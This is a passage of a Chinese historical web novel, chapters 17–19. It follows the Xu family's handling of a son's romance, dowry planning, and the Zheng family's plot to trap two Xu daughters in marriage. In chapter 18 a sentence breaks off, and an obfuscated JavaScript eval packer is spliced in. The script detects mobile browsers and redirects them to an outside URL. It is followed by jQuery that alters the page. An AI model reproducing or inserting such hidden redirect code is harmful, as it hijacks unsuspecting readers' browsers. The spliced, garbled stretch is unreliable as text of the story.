大长公主本想说什么事也值得她劳动一番,但细想,大房的幼子娶妇,对大房而言是大事不提,问真如今要担起担子,权力不能只接人给去的,还得由她自己拿来。 对见通婚事的决策,显然就是一个机会。 问真要担得起事,就不能总是躲在她与大儿妇的庇佑下。 最终公主还是点了点头,却道:“却也不急,先看看你父母那边怎么说吧。” 她可是知道,大息妇娘家侄女月前退了婚,赵家那位娘子她也见过,生得容貌秀丽不说,言行举止自有一派大家风范,就连赏花宴上撞破了未婚夫的丑事也分毫不乱阵脚,还能进退得宜,一位位告罪打点好宾客,转头退婚,赵家半点亏没吃不说,赵家娘子好教养的名声也传出去了。 徐大夫人多半已起了撮合幺儿与侄女的心,这个孙妇人选,大长公主也是满意的。 可惜了,这好端端一门亲,就毁在自家的小子手里。 大长公主忍住长吁短叹,没忍住敲桌子的手,到底在凭几上重重砸了一下,“个不识好歹的东西!” 17. 第17章 七房姊妹二人请了母安回栖园的路上,问显扯着问满的袖子,叽叽喳喳道:“阿姊,长姊真是威风啊!你瞧那管事娘子,在长姊跟前战战兢兢的,一口大气儿都不敢出。” 问满睨她一眼,有些无奈,“长姊服人并不只以威严,你细细瞧,长姊神情一直温平和缓,并无威势,却能叫管事顺从,这才是本事。你看东西都不往关键处看。” 问显不在意地道:“我没有姊姊你的本事嘛……姊姊会就是啦!” “今日我听大伯母已经开始给五姊预备嫁妆了,又暗示也准备给我相看……如今你觉着有我在可以万事不管,倘若我嫁人了呢?”问满柔声道:“你自己要立起来,平日想事情不要那么简单,母亲的话,你自己也要细细思量。” 想到母亲素日教小妹的,什么念书专注于诗词歌赋,好生学点茶插花这些风雅之好,养得小妹学起经史头昏脑胀,对时兴的衣服样式、衣料首饰倒是说得头头是道。 母亲如此,究竟是要养出一个当得事的女娘,还是一个好嫁人、得郎君喜欢的娘子? 事关母亲,问满不好直言,姊姊又随着姊夫在外地,她也没个能诉说的人,只能揣在肚子里自己头疼。 问显天真烂漫,看不出姊姊的忧愁,笑眯眯道:“知道啦,知道啦!马上就要分裁夏衣的料子了,阿娘说今日宫中赏来许多上用衣料,明日大伯母定会唤咱们过去选,我要叫栀娘替我裁一身又新颖又精美的夏裳,留到过几日宴会上穿!” 又叽叽喳喳地说:“大伯母要带咱们去信国公府赴宴,前回信国公老夫人还说我穿水红的衣裳好看,我这回还要做水红的!” 她生着一双朦胧潋滟的桃花眼,细眉弯弯不点而翠,笑起来天真烂漫的样子,如鲜红水润的石榴果实,带着天然的灵气与俏丽,还有小娘子初生牛犊不怕虎的生机,如日头下的三月花,鲜艳夺目。 七房姊妹三人,唯她生得最像七夫人,年岁虽小,容貌却已格外出挑。 问满压下满肚子忧愁,虎着脸吓她:“你若不能将文章做好,我就回了伯母,说你念书不专心,只盼着出去玩,不许你去!” 问显大惊失色,扯着她连连求情,姊妹俩披着月色,渐渐回到园子中。 徐问真与大长公主商量好了见通的事,回到房里时两个小的已被乳母哄睡了——他们今日在园子里玩得很累了,大长公主念着徐问真近日事忙,怕他们回来再闹人,干脆耗干了他们的精力,才领着两个孩子回来。 于是迎接徐问真回来的便只有十七娘,十七娘已经能下榻走动了,笑盈盈地口呼“姊姊”来迎接。 她自能下榻起,每次徐问真出门、回家,她必亲自送接,徐问真回到院中就看到笑盈盈一张脸,看着她面色一日比一日红润,徐问真便觉心内豁然舒畅。 今日她吐了又头晕一场,徐问真本以为她会在榻上歇着,不想还是来迎接,便道:“身体不适便要好生休息,相见姊姊就在屋里等着,姊姊回来必会去看你的。” 问星摇摇头,认真道:“接,姊姊!” 她说话还不是很流利——但自从开了个头,学习的速度显然飞快。 徐问真出去这半日回来,她就又学会一个字。 徐问真瞧她殷勤乖巧的小样子,揉揉她的头发,温声道:“好,那身体不适时可千万不要硬撑,要听白芍姊姊的话,知道吗?” 她说完耐心等了一会,问星反应一会后,果然乖巧地微微点头,她才露出一点笑,道:“好娘子。” 问星见她笑了,却好像有一点激动的样子,徐问真不明所以,看着问星满脸满足地回到房中,无奈地摇了摇头:“真是不明白现在的小娘子了。” 含霜笑道:“许是见您笑了,开心得如此。我瞧着十七娘子醒来后,对您真是格外亲密。”甚至有些殷勤了。 徐问真思忖着道:“或许是下意识心中不安,便想抓住一根绳索或倚靠吧……” 她在生活中也是头一次经历这种事——普天之下,一年能有几个人换上失魂症?偏生她家就有一个。 她既无经验可以学习,就只能顺着十七娘的表现,尽量让十七娘感到安心一些。 只是江南那边,要说去的人选,她确实是最合适的,只是明瑞明苓问星决不能带去,乍然离了她,也不知他们几个能否适应。 但去江南……不仅有打弟弟或先看到漂亮弟妇的机会,还可以一路游船赏景探望三妹妹与故友。 徐问真越想越心动,京里的三个小家伙完全留不住她。 见通的书信是昨日送到的,她看过之后就打定主意先与祖母商量,然后向母亲坦诚,最好一家人商量着拿出主意来。 弟弟先把信给她,无非希望她能在祖母、母亲生气时说两句软和话,只是打的前站,想来他给家中长辈们的信也已在路上了。 都不叫人省心。 还是小的好,瞧瞧问满,多么温婉可人,问显,多么天真好骗。 近日天气暖和,屋内已不燃炭了,又兼百花盛开,徐问真惯在屋里清供鲜花,也不燃香,一迈进屋门,半点烟气也无,只闻到淡淡的玉兰香,清新怡人。 梅子青的引枕坐褥上绣着成枝的白梨花,颜色清雅,花瓣如碎玉落珠,与梅子青搭配最相宜,倚着引枕,便如将整个春日都揽入怀中。 徐问真还有心情欣赏一会刺绣,对含霜夸道:“品蕤针线真不错,这梨花绣得生机扑面欲出,堪称上品。” 含霜便道:“那今年的夏衣叫她也负责裁两身?今日夫人使人送了许多衣料来,我瞧都是上好的,颜色也是您素日喜欢的。小郎、小娘子处也都有,说是昨日宫中赐下的。” 到了徐家这种阶层,市面上能用钱卖到的东西,无论再昂贵,也都不算最好了,只有用钱得不到,有权才能享受到的才是最好的。 而其中无疑是宫内赐下的上用的最顶级。 每逢宫中进新贡品,就会有一部分赐给朝中重臣们,徐家从先帝起,就是受赏的头一拨。 如今有明苓和明瑞,皇后又会在宫中赐下东西时额外添上一份,徐家得到的上次就更丰厚了。 她如今儿女皆逝,唯有明瑞明苓这点血脉留下,每每得了什么好东西,便赐往徐家。 皇后已不再掌控宫权,常年闭门诵经为早逝的儿女祈福,昔日煊赫热闹的含章宫如今门庭冷落。 说起来似乎十分可怜,然而当年她裹挟着权势之威想要逼徐问真殉端文太子之时,又是何等的狠毒无情。 徐问真淡淡道:“叫枕雪漱雪先为两个孩子裁衣吧,做好了要带他们入宫谢恩,我的依你安排就是。” 当年徐问真出家的内情亲近人等都是知道的,含霜对含章宫也并无好感,然而皇后乃国之小君,轻易不能撕破脸,昌寿公主嫁入徐家时,皇后就退了一步,等到徐问真抚养明瑞明苓,皇后的态度更是软了下来,他们也不能挺着腰杆拒不受恩——那岂不是藐视皇家? 幸而皇后似乎也不愿经常看到徐问真,两边存着些默契,非必要不打交道,两个孩子出宫往往都由大夫人带领。 见徐问真面色有些倦倦的,含霜轻声问:“叫凝露来替您按一按吧?月初事情就是多些……” 徐问真臂倚凭几支着头,眼角含笑睨着她 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娘子们的课程每旬按照需要调配安排,这一点从前是徐大夫人做主,如今也要逐渐转交到徐问真手上。 等家门里的女娘们这边接管妥当了,徐问真的手就不会再困宥于留国公府的宅门之中。 她认真视问自己的心,她真的甘心,只做家门中一个掌管中馈的大娘子,一个任何夫人都可以替换掉的“宗妇”模板吗? 不,她不甘心。 她是当代当家人的女儿,拥有两代甚至三代当家人无可比拟的信任。凭借血缘的维系连接,她能做的事,比徐家的每一任宗妇都多,多很多。 她要一点点向外伸出手,直到成为这个家族中无可替代的那个人。 徐问真指尖轻点矮几,目光似乎看了书房中的棋盘一眼,又很快收了回来。 没人甘心做棋子。 含霜知道她明日要办的事就是徐问真走的第一步,心中格外重视,应下后又细细打好腹稿。 见她面色肃穆格外认真的模样,收回目光的徐问真不禁轻笑,“你可知你如今的脸色瞧着像要上战场似的——就板着这张脸去,保管她们最怕的先生也不如你唬人。” 含霜听她打趣,忙收敛神情,徐问真指尖点点她的额头,“好娘子,你只管放心去办事,后头有你家娘子兜着呢,这么紧张作甚?” “我只怕出去丢了娘子的人。”含霜办嗔办娇地演道。 徐问真只做出一副纨绔子弟的模样,笑吟吟地搂住她:“那就把瞧见你丢脸的人都发卖了,让他们再也摸不到京城的大门——” 一旁的凝露实在忍不住了,打断二人发挥,求饶道:“好娘子,好含霜姊姊,可饶了我们这些可怜人吧。” 睡前想再来抱抱大腿巩固一下感情,结果就看到这一幕的十七娘子问星:“……惨无人性霸道总裁?” 她身边的秋露只听到她嘴里喃喃着什么,忙问道:“小娘子说什么?” 问星忙肃一肃神,暗道大意,“姊姊!” “娘子。”秋露对榻上的徐问真款款叉手一礼,无奈笑道:“小娘子用过药,要到入睡的时辰了,非要再来瞧您一眼。” 徐问真倒一点没有发疯被人撞破的尴尬——秋露她们大小一起长大,都是玩闹惯了的。 至于十七娘……十七娘就算瞧见了也看不懂呀。 她神情如常,笑吟吟冲问星一招手,“这么粘人,可成了小麦芽糖了——来姊姊这坐,汤药苦不苦?许你吃一块小酥饼好不好?” 这是什么心理素质!竟半点不尴尬。十七娘满心震撼,听到小酥饼,又连忙点头。 18. 第18章 徐见通的事在徐家掀起轩然大波,其中对徐大夫人的打击尤其大。 大夫人此生绝没想过儿子喜欢上寒门女这种事有朝一日会落在自己头上,听徐问真说完那一瞬间,这些年七夫人的种种言行作为在她脑中不断闪过,然后化为她青白的面色,和斩钉截铁的两个字:“混账!” 徐见通在信里对徐问真提起,就是在试探家里的意思。他想要什么?想迎那寒门女娘入门?做妾还是做妻? 无论哪一种,对徐大夫人而言都是一大打击。 做妾,妻室未入门先要求纳妾,还是良家女子,难道徐家要给徐见通未来的妻族一个下马威吗?而且徐大夫人也不想自己生出这样一个没担当的男人。 有本事,就像他七叔一样,理直气壮地对家人提出来,正大光明地将人家娘子领回家,平安和美地做夫妻厮守。 不然,让心爱的娘子做妾,然后再薄待未来妻子?猪狗不如,算什么男人! 但若真叫徐见通娶了寒门女,徐大夫人看了眼七夫人,再看一眼,然后收回目光直直望着前方,一时竟然双目无神。 坐在徐大夫人身边的徐问真确定自己听到了母亲的磨牙声。 徐问真亲自递了茶过去,轻声道:“见通一向明德守礼,此次书信,也只写明倾慕之情,未有过分的言谈,想来如今事情还没发展到最坏的程度。母亲先冷静些,咱们才好商议如何应对。” 倘若是两人已经心意相通,应该就不是这一套和缓的言辞,而是破釜沉舟背水一战了。 温热的茶捧在手上,徐大夫人稍微回了点神,立刻摇头道:“不成!我立刻叫人去将他给我捆回来!再在外头放着,不定又出什么事了。” 大长公主终于开口,一下击中大夫人的命门,“捆回来如何?压着他与赵家宣娘成婚,成就一辈子怨偶吗?这既不是做母亲应做的,也不是你做姑母应做的。” 大夫人抿唇沉默,大长公主叹了口气,又徐徐劝道:“如今事情还不算最坏,见通那小子是个有分寸的孩子,从他还知道先给他长姊来信试探就能看出来。如此,咱们可以稍微按下些心,慢慢议一议。” 大夫人思忖着,轻轻点了点头,大长公主又道:“如今还是先打发个人快去瞧一瞧要紧。” 大夫人点点头,如今她们只能隔着徐见通给徐问真的信了解情况,只知道那位娘子的身世,对具体情况毕竟不了解,还是要尽快打发稳妥人过去探明情况,家中这边也好快做打算。 从京城到江南,快马加上水路,日夜兼程,二十日内怎么也到了。 抓大放小,如今先摸清情况要紧,徐大夫人拿定注意,很快稳了下来。 三人很快商定了主意,先遣稳妥仆役去看,再视情况决定徐问真是否要动身南下,期间七夫人因近日心虚得很,全程低头坐着不敢言声。 要下江南,徐大夫人处自有能调动的心腹人手,只是她清楚自己儿子的脾气,徐见通会来试探家里人,就说明他动了十分的心,倘若如此—— 徐大夫人痛苦按住眉心,她如何能为了一己私欲,害了儿子与亲侄女一生呢? 她一整日失魂落魄,什么事都无心理会,徐问真陪她待了一日,晌午徐六郎徐维的妻子常氏夫人又过来府上,欲与大夫人商量为五娘、六娘办嫁妆之事。 两位娘子都将至笄年,六娘问满是本家女孩儿,按照她亲姊的例,嫁妆事由大夫人坐镇主持,生母七夫人全程帮助来置办——毕竟尊长尚在,仍是一家人,晚辈的聘财嫁资均曾公中给出,自然由大夫人做主。 常氏夫人之所以加入,是因为其中还有一个徐纺家的问安。 问安的嫁妆银徐纺早年就备齐了送回来,托给大夫人帮忙操持物件,大夫人便又从徐家宗亲中请出一位与徐纺同辈的六郎夫人来帮忙操持。 一来有个人分担事务,二来两人同办,六夫人与徐缜、徐纺都隔房,这样安排更不落人口实,不会叫人传出“徐家长房昧下人家给女孩做嫁妆的钱”的闲话。 常夫人与七夫人年岁相仿,还算年轻,容色却比七夫人憔悴许多。她与六郎原配结缡,早年一直无所出,这几年终于开怀,却只得了两个娘子,一直饱受无子之痛,六郎身子也不大好,前几年娘家兄嫂偏又去了,留下一个年幼的小侄儿依着她过活,种种事压在她身上,难免使她心事沉重,形容憔悴。 但她品性却不错,性情最是温柔,素日性格缜默,却很疼爱晚辈。徐大夫人喊她出来,也有请她消散烦闷的意思,然而真办起事来,她却十分伤心,真将问安当做自己女孩一样的待。 她甫一进来,就见大夫人神情不对,愣了一下,轻问道:“这是怎么了?” “娘家有些烦心事。”大夫人叹了口气,“还有孩子们也不叫人省心。” 常夫人会意,不再多问,提起问安的嫁妆来,笑吟吟道:“前儿既回一应家具器皿置办齐了,也该请绣娘来做枕衾帐幔、四季衣裳了。” 家中素日养有针线女人,娘子们身边也都有得力的针线上人,但嫁妆所需的帐幔衣裳数以箱计,家中这些人便办不过来了,还是需要再从外延请绣娘来。 这绣娘既要手艺好、还要手工快,一位娘子需要至少四位绣娘回来,与家中的针线娘子们合作操办,才能在一年多间勉强完成。 再加上问满那边最好也提前准备,常夫人这几日打听好了人,与素日合作过的一起列好单子,来同大夫人商议延请哪一个、 说起家务事,大夫人终于有点精神,又不叫问真走,让她在屋里听着,商量时还时不时问问她的意思。 常夫人品出一些意思来,等人选拟定了,笑吟吟道:“大娘是愈瞧愈沉稳了,我瞧长嫂日后也不必担忧无人替你分担了,咱们真娘不就是最好的人选吗?又聪慧稳重,又孝顺和善,哪有比咱们真娘更好的女孩儿了?” 大夫人听她夸徐问真,便忍不住笑,又得矜持着客气,徐问真便笑盈盈道:“六叔母夸得我直脸热,哪敢领受呢?” “没人比你更配这话了。”常夫人笑着,婢女重来添茶,三人说些闲话,无非聊一聊家中的经济人情,或者儿女婚事,她见大夫人逐渐兴意阑珊,便起身道:“我来了一日,不知家中怎样了,得回去瞧瞧,便先告辞了。” 大夫人留她道:“田庄上送了些春日野意来,念熙你留下吃过晚饭再走?母亲也常念叨着像你呢。” 常夫人笑道:“我常来常往的,只怕明日还得再来打扰长嫂呢。野味儿您就给我留着,可不许背着我吃完了。只是今日实在不能留了,问芝离不得人,问仙也还小呢,只恐乳母照料不过来,我还是得回去瞧着。” 大夫人含笑点头,“那我也不留你了。”又叫人将那些山野菜蔬、新鲜鳜鱼装起来给常夫人带回去,“就当吃个新鲜了,不是什么稀罕东西,你可不许与我客气。” 常夫人自然笑纳,告辞而去。 人去了,大夫人叹了口气,对问真道:“晚饭在母亲屋里吃?” 问真点点头,“我叫含霜回去照看几个小的,晚饭我陪母亲吃。” 大夫人神情微舒,握了握徐问真的手,感慨道:“幸而还有真娘你在我身边。” 二人静坐一会,命人取了茶具来,大夫人笑道:“往日要么是吃含霜做的,要么你做,今日母亲也做一回茶给你瞧瞧。”正要研茶饼,忽见秦妈妈急匆匆地进来,“娘子①,大娘子,我才送六夫人出去,忽见七娘子的乳母哭哭啼啼地跑回来,满口只喊救命!” 说完,问宁的乳母也跑进来了,入内便扑通一声跪在地上,哭着说郑家人对两位娘子行为不尊重。 大夫人闻讯勃然大怒,忙打发人去郑家接二位娘子回来。 她亲自点将,命身边的秦妈妈带队去接人,徐问真眼神示意凝露跟上,另外再带上十来个精悍护卫。 徐府的护卫都是真刀实枪历练过的,如此阵容,不说区区一个郑家宅院,就是托大闯个小土匪窝,也能把人给抢回来了。 大夫人还在问郑家回来的乳母,乳母见了备好的阵容,总算止了哭声,细细说:“这几日到了郑家,老县君每每提及叫五娘子与他家大郎君多接触,不仅三餐饭食呼他家大郎入内宅同用,常命他陪伴娘子观赏花园,竟还提及叫郑大带咱们五娘子出门游玩。五娘子心知不妥,断断不肯答应,好容易支应过来,本提出想要近日回府,老县君答应得好好的,今日我们正收拾行装,郑家二房娘子的娘家侄儿偏就闯进了内宅,险些冲撞了七娘子,这时郑家二郎又来救……五娘子说事情不对,断不肯带着我们娘子再在郑家住,偏她的乳母郑姐姐被老县君喊走说话了,便打发我回来,快快向夫人与大娘子告信,求夫人快接两位娘子回家来吧!” 她愈说愈是气愤伤心,徐大夫人久经世事,如何看不出郑家的门道?登时冷笑一声,“好一个郑家,好一个大房二房!” 她也顾不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13887013|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揪心见通的事,立刻喊住秦妈妈:“我与你们同去!”说罢,速入内换了一身出门衣裳。徐问真待要同去,被徐大夫人按住:“你留在家里,遇事还有个照应。你父亲快回来了,他一回来,立刻将此事说与他听!” 又将一枚小小的铜铸狮印交给徐问真,“倘若郑家要撕破脸皮,你父亲还没回来,你立刻率部前去,你祖父在家中备有一些精悍人手,足够震慑郑家了!” 她已然打起精神,气势昂扬到仿佛能够掀翻郑家——徐问真并不担心她去了斗不过,也知道家中留人的必要性,很干脆地点头应下了。 徐大夫人这才安心,雄赳赳气昂昂地率人杀出去了。 送走了人,徐问真到府内正堂等着,眉心紧锁,侧头低声问含霜:“可有什么消息吗?” 因不在自己的地方,含霜面色如常地微微低身,声音细微,只入徐问真的耳,“暂时没有,郑家那个这段日子老实得很,只打听到他在平康坊有几个‘知交。’” 徐问真微微垂下眼帘,含霜静心等候吩咐,终于,徐问真道:“把网撒开,不要只盯着他,还有他身边的人。……若实在找不出来,就给他安排一个。” 说到最后,声音中仿佛凝着三九寒冰。 含霜应诺,领命而去。 郑家那边的情况已经无需徐问真担心,徐大夫人这位宰辅夫人亲自率众前往,郑家人绝不敢强要留下五娘七娘。 这些世家门阀在前朝就几经打压,已不复昔年名士风流的风光,待到朝代更迭,新朝虽出自旧世家,坐稳皇位后的皇帝们打压世家的力度却不弱于前朝。 如今哪还有什么王谢尊荣、崔郑风流? 这会徐家有事,要接两位娘子回家,他们坚持拦着,难道是要与徐家撕破脸吗? 他们就算借几个胆子来,也不敢与徐家开干。 只是此时若与郑家撕破脸皮,五娘怎么办呢? 她的婚事是先郑氏夫人定下的,郑家没有明面上能拿出来说的过失,不说徐纺不在京中,大夫人不好越俎代庖,就算徐纺在京中,也不好轻易断了亡妻定下的婚事。 郑家无过啊! 依本朝律例,女家无故悔婚,可处以杖刑。 万幸的是两家虽在襁褓中便定了亲,但只是口头约定,三书六礼还未来得及走。郑家既无纳采,徐家尚未收男家财物,也未交换庚帖,婚事就不算做成。 徐问真脑中思绪千回百转,大长公主处也已得了消息。 听人细细说完乳母回的话,大长公主冷笑一声,“好蠢陋直接,又好有效的法子。” 郑家明面上无过,正是郑家这一手的精妙之处。 人人都看得出郑家是为了推出二郎来,利用二郎再攀上徐家的一位娘子,可偏生他们借了一个二房外侄来做出头鸟。 如今郑家还占着正义助人的功,虽有内宅整顿不严之过,但那不是还有外祖家的亲戚情面在啊。 这一把,成了,郑家长房娶了两位徐家女,两位二郎都终身有靠;不成,郑家也没有什么损失——郑家没有揭不过的过失,徐家不可退婚。 孝道,礼法,这是两座压在问安头上的大山,硬要把问安捆在郑家这艘要沉了的船上,一捆就是终身。 徐问真深吸一口气,神情端庄持重,活脱脱一个画像上走出来的端庄娘子,此刻就是再挑剔的人来,也难从她身上找出一点失礼之处。 她脊背挺拔如树,又似一把已经出窍静待见血的长刀。 大长公主处传来言语,“殿下的话:倘或郑家真舍了脸皮要纠缠,我也不介意往她家走一遭。” 徐问真心中一暖,知道这是老人对问安问宁两个孙女的疼惜。 但请大长公主出面,是最没有办法的办法了。 徐问真道:“你回去只管叫祖母安心,如今还不到撕破脸皮的地步,若到了那一步,我们都奈何不了,还能不请祖母出山?” 燕娘笑道:“奴婢就回去传这话了。” 徐问真命人送走了她,独坐在正堂,静静地等待消息。 郑家哪怕要纠缠分辨,也不敢十分与徐家撕破脸,大夫人铁了心要带走两个娘子,他们绝不敢拦,算上两坊间往来时间,再有半个时辰,也差不多了。 过半个时辰,人若还没回来,就是郑家给脸不要脸了。 徐问真摩挲着腕上的串珠,唇角似乎稍稍向上牵,眼底却冷如雪山冰池,毫无温度。 19. 第19章 退婚难吗 徐问真算的时间不错,在她即将起身召唤扈从的前一刻,徐大夫人携着两位娘子在二门前下车,下来时脸色铁青。 徐问真看到她的脸色,忙走过去扶她,后头的问安问宁神情也都不大好看。 “回来就好。”徐问真扶着大夫人道:“咱们先回内院去,祖母也正等消息呢。” 大夫人板着脸,忍到内院中,才破口骂道:“郑氏竖子!” 大夫人赵氏出身望族,归于显门,一生没接触过市井落拓,学的是诗书雅言,待人接物一向温和有礼,能将她气道这个份上,却也算是郑家的能耐。 徐问真缓声道:“您徐徐地说,可是郑家哪里冲撞您了?” 大夫人气道:“一群不要脸面的东西,我去了,问宁身边的人说得明明白白,二房那外侄根本没到问宁跟前就被妈妈们拦下了,郑家那姑妇两个倒是有脸,还口口声声攀扯,说他家二郎如何如何急公好义、帮助问宁——我呸!” 这是铁了心要郑家二郎攀上问宁了。 “但我岂能叫她们占了问宁的便宜?”大夫人冷笑一声,“问宁身边随从仆妇十余人,眼明心亮说得明明白白,她家就是告到宣政殿去,也是咱们有理!” 可有理是一回事,郑家在外头弄些风言风语兴风作浪是另一回事。 大夫人与问真母女俩对视一眼,心里都清楚——郑家与问安的婚事,不能留了。 问安尚未过门,郑家便蹬鼻子上脸算计起问宁来,简直是将徐家的脸面往地上踩!何况他家郎君人品又不足,徐纺即将调回京中,问安问宁的身份水涨船高,什么样的好姻缘找不到,要攀着他郑家? 然而问安问宁毕竟是闺中女子,此刻问安还好,问宁气急的同时,又不免心内惴惴不安——如今闹这样一场,与郑家闹了半红脸,姊姊却早定下了婚事,日后郑家为难姊姊要怎么办呢? 问安注意到妹妹的神色,轻轻握住了她的手。 过内仪门时,徐问真稍微回头,望了问安一眼。 只见问安面色沉着,人人都能看出她心里那根弦已经崩得很紧,紧到几乎崩断,却坚持着没有断。她用力挺直脊背,如一竿被巨石压着却坚持不想弯倒的劲竹,鬓边的花也似主人,被风疾吹一阵,也仍然顽强美丽,不露半分憔悴。 徐问真心落回了肚子里,露出一点笑容,温声安抚她,“放心,长辈们自有主张,必不会叫你与问宁白受了委屈。” 问宁急忙道:“长姊,我明白郑家的意思,实在不成,我——” 问安死死拉住了她,然后望着徐问真,轻轻点头。 一路走向东上院,大夫人已沉下了心。大长公主在正房坐着等待,不禁长叹不知自己得罪了哪路瘟神,短短一个多月,就有这么多不顺的事,见了儿妇与两个孙女回来,还是忙先宽慰她们,“快都别怕了,万事有我给你们做主呢,必不叫他们白欺侮了你们!” 问宁听了,眼圈不禁一红。众人在正屋内坐下,婢女奉上茶来,屏退余者,只留下几个心腹,大长公主才召了姊妹二人的近侍来问话, 事情的来由经过众人其实都知道得差不多了,回话的乳母所言便是全部经过,大长公主听罢,冷笑道:“她想舍出一个二房外侄来替她家二郎算计我家女孩,也得看看我乐不乐意!” 问宁起身哭道:“伯大母,我知道他们的意思了,我、我愿意与姊姊一同嫁去郑家,嫁与他家二郎。” 她回来时想了一路,婚约轻易是退不掉的,父亲与伯父在朝做官,最怕落人口实,背信弃义,岂不于长辈们官名有碍,毁坏家族名声? 可经过这一闹,得罪郑家也得罪狠了,若不叫他们如愿,姊姊日后过门,只怕不知要受何等苦楚! 不如她也一起嫁去,一来姊妹二人有个照应,二来郑家如了愿,没了怨愤,没准还能更顾忌一些徐家。 经此一回,她也看清楚了,往日外大母待她们多亲近慈爱,都是假的。旧日一力撮合姊姊与郑大郎,还可以说是长辈体恤有婚约的小儿女,今天与舅母一软一硬陪着她逼她嫁与郑二,难道还是体恤吗? 那算盘珠子都要打到她的脸上了! 愈是想着,问宁咬紧牙关,“只是他们求着我去了,日后要过上什么日子,可就不是他们说得算了!” 她银牙几乎咬碎,满脑子恶媳妇磋磨婆母的坏主意——她可不像姊姊,是个宽容无争的善人,她最坏了! 问安急忙起身,未待开口,大夫人已沉下脸呵斥问宁,“小孩子说什么胡话!” 大长公主也道:“这全是小儿荒诞之语。我知道你心里想着什么,无非怕你姊姊日子难过,你小小年纪,思虑难免不周全,勿要擅作主张,万事自有长辈们扛着。” 徐问真却看向问安,“五娘是怎么想的?” 问安看长辈们喝住妹妹,才定了定神,站在当地盈盈一礼,道:“今日累长辈们为我们费神了。只请伯大母、伯母管住问宁,叫她不要冲动行事便是。这一年间,我与问宁不会再往郑家走动,待成婚之后——到了郑家,我自有应对他们的办法。” 说到最后,她神情微冷,一贯温柔亲和的老好人露出冷色来,反而更吓人。 徐问真听着,摇头道:“你也傻。知道郑家不是好地方,你还要去,是打算以身饲虎不成?” 不过这姊妹两个待对方的一颗真心却是真的,问宁打算嫁去郑家,是怕问安孤苦伶仃在郑家受欺侮;问安请长辈们看住问宁,且决定婚前不再往郑家走动,也是为了保护问宁。 幼年丧母,又离开生身父亲,姊妹两个相依为命,也只有都多为对方打算,才能相互扶持着走到如今。 问安神情坚定,“我听伯母说过,父亲将要升迁回京,如此受人瞩目的关头,家中女娘悔婚,悔去的还是连年没落的旧妻族,只怕于家中声名不好。且郑家是咬死不会主动悔婚的,咱们家若主张悔婚,依本朝律例,婚盟已定,女家主张悔婚者,杖六十,判不允。祖宗辛勤建业,父祖奋力耕耘,满门母姊全力维护,方有今日家门兴旺、家声斐然,怎可因我一人而误全族?” 她跪下深深一礼,“问安愿嫁,身为徐家娘子,受祖宗遗泽庇佑,也理应维护家族 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问安茫然间似有明悟,大长公主已欣然含笑道:“好!这正是世间至理!” 大夫人也笑道:“这些话,我早对你们说过,只是你们没历过事,也难学会,倒不怪你们。你们姊妹二人在如此关头,能先想到维护对方,已经很好了。问安你既想呵护骨肉,又能想到保全家门,这些年伯母没看错你,我们家五娘子果然周全明理;问宁也很好,你甘愿牺牲自己周全姐姐,足见一颗赤子之心。” 她笑吟吟地道:“伯母新得了数匹纱罗,乃上用之选,是裁制夏衣的好材料,今年许你们先选。过些日子我母亲大寿,我回府贺寿,你们同去,叫人都瞧瞧我徐家娘子的风采。” 问安隐隐明白一些什么,问宁却还茫然,“那、那郑家……” “五娘与郑二的婚事,只是先郑氏夫人与郑家的口头约定,未过聘书纳采之礼,婚约并未做实。”徐问真按着姊妹二人坐下,回到座位上笑着解释。 没过聘书纳采,事情就有操作的余地。 问宁一喜,“那,可以立刻断婚了?不仅断婚,我们还要与郑家断亲!往后再不去那边走动了!” 问安却觉着事情没那么简单,微微皱眉,先唤住问宁,低声道:“毕竟是外祖家,没那么轻易断亲的,往来走动总要体面些,免得叫人看了笑话。” ——当然,婚事若真断了,就很够郑家没脸的了。日后渐渐生疏,也没什么理可挑,毕竟她们母亲已经过世。 但这婚事,就那么容易断吗? 她眉心微蹙,面带询问之色看向徐问真,眼中也有隐隐的期盼,“如此就可以直接断婚吗?” “不。”徐问真摇摇头。 大夫人叹息一声,“今日郑家所为,我们心中虽然明白,但明面上他家毕竟没有过失,犯错的只是二房一个外侄,若事情当真落实,咱们家反而要感谢他家郑二出手相助。” 问宁气得脸色发青,“那就这么轻易饶了他们?” “当然不。”大夫人徐声道。